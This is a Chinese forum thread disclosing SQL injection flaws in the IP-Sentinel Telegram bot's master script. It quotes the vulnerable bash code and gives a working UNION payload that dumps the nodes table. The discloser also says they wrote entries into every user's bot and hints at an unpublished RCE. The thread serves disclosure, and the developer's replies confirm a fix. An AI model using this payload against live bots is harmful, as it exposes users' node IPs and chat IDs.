Tip
发帖当日(2026/04/10),该问题已被修复。
影响范围:2.x.x, 3.0.0
原帖: 【告别“送中”】IP-Sentinel v2.1.0 重磅发布:分布式矩阵+零配置接入,让你的小鸡秒变当地人!
风险等级: Critical
稍作分析
db_exec() {
sqlite3 "$DB_FILE" "$1"
}
该函数直接将拼接后的完整 SQL 字符串交给 sqlite3,没有参数化、没有转义、没有输入校验。
注入点 1
if [[ "$TEXT" == *"#REGISTER#"* ]]; then
REG_LINE=$(echo "$TEXT" | grep "#REGISTER#" | head -n 1 | tr -d '\` ')
IFS='|' read -r MAGIC NODE_NAME AGENT_IP AGENT_PORT <<< "$REG_LINE"
db_exec "INSERT INTO nodes (chat_id, node_name, agent_ip, agent_port, last_seen) VALUES ('$CHAT_ID', '$NODE_NAME', '$AGENT_IP', '$AGENT_PORT', CURRENT_TIMESTAMP) ON CONFLICT(chat_id, node_name) DO UPDATE SET agent_ip='$AGENT_IP', agent_port='$AGENT_PORT', last_seen=CURRENT_TIMESTAMP;"
fi
NODE_NAME、AGENT_IP、AGENT_PORT 完全来自 Telegram 文本,且直接进入 SQL。
注入点 2
删除逻辑位于 master/tg_master.sh:101-103:
TARGET_NODE=${TEXT#*:}
db_exec "DELETE FROM nodes WHERE chat_id='$CHAT_ID' AND node_name='$TARGET_NODE';"
TARGET_NODE 来自回调数据 del:*,同样直接拼接进 SQL。
这意味着攻击者不需要走注册入口,也可以直接通过构造 del:... 触发 SQL 注入。
注入点 3
ACTION_TYPE=$(echo "$TEXT" | cut -d':' -f1)
TARGET_NODE=$(echo "$TEXT" | cut -d':' -f2)
AGENT_INFO=$(db_exec "SELECT agent_ip, agent_port FROM nodes WHERE chat_id='$CHAT_ID' AND node_name='$TARGET_NODE' LIMIT 1;")
TARGET_NODE 依然来自 Telegram 回调数据。
实战环节:如何让 Bot 通过注入点输出其全表呢?
原始 SQL:
AGENT_INFO=$(db_exec "SELECT agent_ip, agent_port FROM nodes WHERE chat_id='$CHAT_ID' AND node_name='$TARGET_NODE' LIMIT 1;")
通过构造如下 SQL 来 dump 全表:
SELECT agent_ip, agent_port FROM nodes
WHERE chat_id='999999' AND node_name='' UNION SELECT group_concat(chat_id||char(44)||node_name||char(44)||agent_ip||char(44)||agent_port||char(44)||last_seen,char(10)),'1' FROM nodes--' LIMIT 1;
Payload 如下:
report:' UNION SELECT group_concat(chat_id||char(44)||node_name||char(44)||agent_ip||char(44)||agent_port||char(44)||last_seen,char(10)),'1' FROM nodes--
成功 dump 全表。
下面是原始帖子
点击展开
原帖: 【告别“送中”】IP-Sentinel v2.1.0 重磅发布:分布式矩阵+零配置接入,让你的小鸡秒变当地人!
风险等级: Critical
结论: Master 端存在多处来自 Telegram 输入的 SQL 注入,而且这些注入点连接着:
- 节点注册
- 节点删除
- 节点查询与动作下发
- 节点列表展示
结合“任何用户都能向 Bot 发送伪造注册消息”这一事实,攻击者可稳定造成:
- 任意插入 / 修改 / 删除 / 查询
nodes表记录 - 伪造他人名下节点
我已证实构造特定请求结构,可以 dump 出所有使用过官方 telegram 机器人并进行绑定的数据。

请开发者及时与我联系领取PoC。
二编:已向全部用户写入可以跳转到本网页的特殊“机器”
如果你是因为这个来的,先别用了,好好看看吧,假设我把链接换成钓鱼链接呢🤔
看到了,看到了
我还纳闷,tg机器人怎么出现界面混乱了~
原tg机器人已暂停使用,正在紧急加固!
@gonode #3
@GuangChen233 #8
感谢大佬及时发现漏洞,避免给广大网友造成损失
现已加固处理,新版v3.0.1紧急发布,希望能继续“不吝赐教”
github补丁内容
vibe coding后遗症
还真是
@gudaomao 来看看哈
真个东西到底是不是真有用?有人送中成功拉回来过吗?用自己的bot就没这问题了吧?
理论上没问题,但Agent端存在可被远程触发的条件式 RCE,我没写
等一个修复后的版本
@gudaomao #6 大佬加油